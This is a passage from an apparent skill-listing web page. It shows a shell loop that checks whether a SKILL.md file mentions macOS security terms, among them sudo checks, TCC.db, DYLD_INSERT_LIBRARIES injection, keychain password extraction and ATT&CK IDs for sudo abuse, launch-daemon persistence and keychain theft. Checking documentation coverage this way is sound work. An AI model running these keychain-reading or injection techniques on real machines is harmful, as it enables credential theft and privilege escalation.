for t in 'csrutil status' 'fdesetup status' 'systemextensionsctl' 'sudo -n -l' 'TCC.db' 'auth_value' \
         'LaunchDaemons' 'plutil' 'DYLD_INSERT_LIBRARIES' 'security find-generic-password' \
         'Endpoint Security' 'T1548.003' 'T1543.004' 'T1555.001'; do
  grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.